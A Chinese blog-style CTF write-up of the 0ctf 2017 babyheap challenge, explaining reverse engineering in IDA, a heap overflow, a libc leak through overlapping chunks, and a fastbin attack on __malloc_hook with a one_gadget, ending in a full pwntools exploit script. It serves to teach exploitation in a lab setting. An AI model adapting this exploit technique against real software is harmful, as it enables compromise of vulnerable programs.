菜鸡的 Pwn 06 0ctf 2017 babyheap


菜鸡的 Pwn 06 0ctf 2017 babyheap

D6

一.前言

本例是来自 0ctf 2017 的 babyheap,利用方式为 堆溢出 + fastbin attack

二.分析过程

用 IDA 分析好的代码如下:
image
程序开启的保护:
image
保护全部开启。

常规的界面,唯一值得注意的是,这次的堆块信息不是由全局数组存储的,而是随机的地址,具体算法在函数 sub_B70 中:
image

这就限制了攻击手法,unlink 改写地址几乎是不可行的。
先来看一下程序逻辑:

  1. 输入 1 可以新建一个堆块,注意这里用的不是 malloc 而是 calloc。
  2. 输入 2 可以编辑某个堆块,没有校验用户输入的长度,造成堆溢出。
  3. 输入 3 可以删除某个堆块,删除堆块后清空了指针。
  4. 输入 4 可以输出某个堆块的内容。
  5. 输入 5 退出程序。

漏洞位置:
image

这里没有校验可输入的长度,堆溢出。

三.攻击思路

在开始之前,先来看一下笔者修复前的代码(以 new 函数为例):
image

红色方框的部分非常难看,仔细分析可以知道这是堆块的结构体,其定义应该如下:

1
2
3
4
5
struct Block{
long int check;
long int length;
int* chunk_addr;
}

虽说不去修复结构体也大致能够读懂这个程序,但是总觉得非常别扭,下面,我们尝试修复这个结构体。
IDA 作为最专业的交互式反汇编器绝不是浪得虚名,结构体的识别是非常困难的,但是 IDA 提供了创建结构体的功能,虽然无法自动识别,但是用户可以手动创建结构体,并附加到相应的变量上面。
创建结构体的流程如下:

  1. 首先切换到 Structures 标签页下:
    image
    可以看到这里有一些说明,比如可以使用快捷键 INS 新建结构体, DEL 删除结构体等等,笔者就不去一一赘述了。
  2. 在任意的位置按下 INS 键,新建一个结构体:
    image
    比如笔者称这个结构体为 block。
  3. 在结构体中插入成员变量,可以使用 D 键,注意,新插入的一个成员变量默认为 Byte类型,但是我们推测的结构体成员变量却是 long int 类型(int*),所以可以在一个成员上多次按下 D 键,修改成员的类型:
    image
  4. 还可以按 N 键修改成员的名字,接下来的操作不再赘述,直接看最后的结构体:
    image
  5. 在伪代码中选中相应的变量(比如笔者选中函数的参数 a1),单机鼠标右键,将变量转换为结构体,选择我们刚刚创建的结构体,伪代码就会变成这种样子:
    image
    现在的伪代码和源代码就非常接近了,也更容易阅读了。

修复好代码,接着考虑利用的问题,漏洞很容易就能找到,但是本例在利用方面比较繁琐。
首先考虑一下如何泄露地址,想要泄露地址,就得特别关注输出函数,本题的输出函数如下:
image
直接输出堆块的内容,我们可能会想到将某个堆块(small bin)释放,那么这个堆块中就会产生 fd 和 bk 指针,当链表中不存在其他堆块时,这两个指针都会指向 main_arena,能否将这两个指针泄露出来呢?
考虑 delete 函数,释放一个堆块时将指针进行了清空,这样我们无法再次操作相应的指针,也就不能泄露地址了,但是程序存在堆溢出漏洞,可以任意更改堆块的结构,这里泄露地址的思路就是 堆块重叠:通过堆溢出修改堆块结构,构造堆块重叠条件,将相邻的 fast bin 的堆块 和 small bin 堆块进行重合,这样,当释放掉 small bin 堆块时,如果输出 fastbin 堆块,就会将 fd 和 bk 指针一起打印出来!
可以使用一张图片表示:
image

地址已经被泄露出来,接下来考虑如何攻击,由于堆溢出可以修改堆块结构,那么自然希望使用最简单的方式 – fastbin attack。
回想 fastbin attack 的利用思路,发现这里的利用方式其实更为简单,我们不需要去重复释放某个堆块(也不能重复释放),直接改写堆块的 fd 指针即可,可以声明两个 fast chunk,将第二个释放掉,然后通过溢出第一个堆块改写第二个堆块的 fd 指针,使其指向我们想要控制的内存区域即可。
但是这里面临着另一个问题,即将指针改写到哪里去?
其实对于这种保护全开的程序来说,我们的第一个思路应该是利用 malloc_hook 或者 free_hook ,这两个函数笔者在之前的文章中稍微介绍过,大概意思就是如果这两个位置不为空(或者说存在地址),内核就会转而执行这个地址所指向的代码,其中, __malloc_hook 的位置就在 main_arena 正上方,紧邻着 main_arena,如果将 fastbin 的指针伪造到这里,再填写进去 shellcode 地址,本题就迎刃而解了。
进行 fastbin attack 时需要注意一点,伪造的地址必须能够通过内核的 size 检查,即 fakefd + 8 == 当前 fastbin 的大小,如何构造这种条件呢?通过调试可以发现,在 malloc_hook 上方存在错位构造 size 的条件,用语言表述不清,我们来看一张图:
image
注意标记的位置,在 0x7fbae552baf0 + 5 位置开始,向后 8 个字节刚好形成了如下字节序列:

1
0x7f 0x00 0x00 0x00 0x00 0x00 0x00 0x00

由于小端序,这里所表示的数值就是

1
0x000000000000007f

刚好满足了我们的要求,可以通过 size 的验证。
到此为止我们已经成功泄露出地址,也满足了 fastbin attack 的条件,现在只剩下最后一个关键的问题, shellcode 应该布置在哪里?
程序开启了 NX ,所以我们布置的 shellcode 是不管用的,但是 libc 提供了好多方便的 gadget。在libc 中存在一类 gadget,它不需要我们传递任何参数,只需要满足一些小条件就能弹出 shell,这种 gadget 被称为 one_gadget。
我们可以使用 Github上开源的工具 来搜索 one_gadget。笔者搜索到了一些 one_gadget 如下图:
image
随意挑选一个即可。
image

四.完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
import time

#context(log_level="DEBUG")
def add(length):
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(length))
p.recvuntil("Command: ")

def edit(index, length, content):
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(length))
p.recvuntil("Content: ")
p.sendline(content)
p.recvuntil("Command: ")

def delete(index):
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Command: ")

elf = ELF("./babyheap")
libc = ELF("./libc-2.23.so")
p = process("./babyheap")
log.info("==================== Leaking libc address ====================")
log.info("First malloc 4 chunks , chunk0 chunk1 chunk2 and chunk3")
log.info("Chunk0 and chunk1 are fast bin's chunk")
log.info("Chunk2 is small bin's chunk")
log.info("Create Chunk3 to avoid chunk consolidate")
add(0x40)
add(0x40)
add(0x100)
add(0x40) # Don't forget this one!!!
log.info("Then build a payload , change chunk1's size")
log.info("Make chunk1 include chunk2")
log.info("Destory chunk2's struct , bypass the size check")
payload1 = 'a' * 0x40 + p64(0) + p64(0x71) + 'b' * 0x60 + p64(0) + p64(0x71)
edit(0, len(payload1), payload1)
#gdb.attach(p)
log.info("Delete chunk1 , then malloc a new chunk that size equals to chunk1")
log.info("So we get chunk1 again but this time, chunk1 includes a part of chunk2")
delete(1)
add(0x60)
log.info("Build another payload, recover chunk2's struct")
payload2 = 'a' * 0x40 + p64(0) + p64(0x111)
edit(1, len(payload2), payload2)
log.info("Now delete chunk2, it will be placed in unsorten bin")
log.info("And two pointers are points to main arena")
delete(2)
log.info("Dump chunk1's content")
log.info("We can get fd and bk here aka main arena")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline("1")
p.recv(90)
mainarena_addr = u64(p.recv(8))
libc_addr = mainarena_addr - 0x3c4b20 - 0x58
log.success("main_arena address : 0x%x" % mainarena_addr)
log.success("libc address : 0x%x" % libc_addr)
system_offset = libc.symbols["system"]
malloc_hook_offset = libc.symbols["__malloc_hook"]
system_addr = libc_addr + system_offset
malloc_hook_addr = libc_addr + malloc_hook_offset
one_gadget = libc_addr + 0x4526a
log.success("system address : 0x%x" % system_addr)
log.success("malloc_hook address : 0x%x" % malloc_hook_addr)
log.success("one_gadget address : 0x%x" % one_gadget)
p.recvuntil("Command: ")
log.info("==================== Fast Bin Attack ====================")
#gdb.attach(p)
add(0x60) # index2
add(0x60) # index4
delete(4)
payload3 = 'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook_addr - 0x23)
edit(2, len(payload3), payload3)
add(0x60)
add(0x60)
payload4 = 'a' * 3 + p64(0) * 2 + p64(one_gadget)
edit(5, len(payload4), payload4)
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(0x10))
p.interactive()

五.修复方案

本例的漏洞是任意字节堆溢出,依旧可以通过 nop free 的方式来临时修补。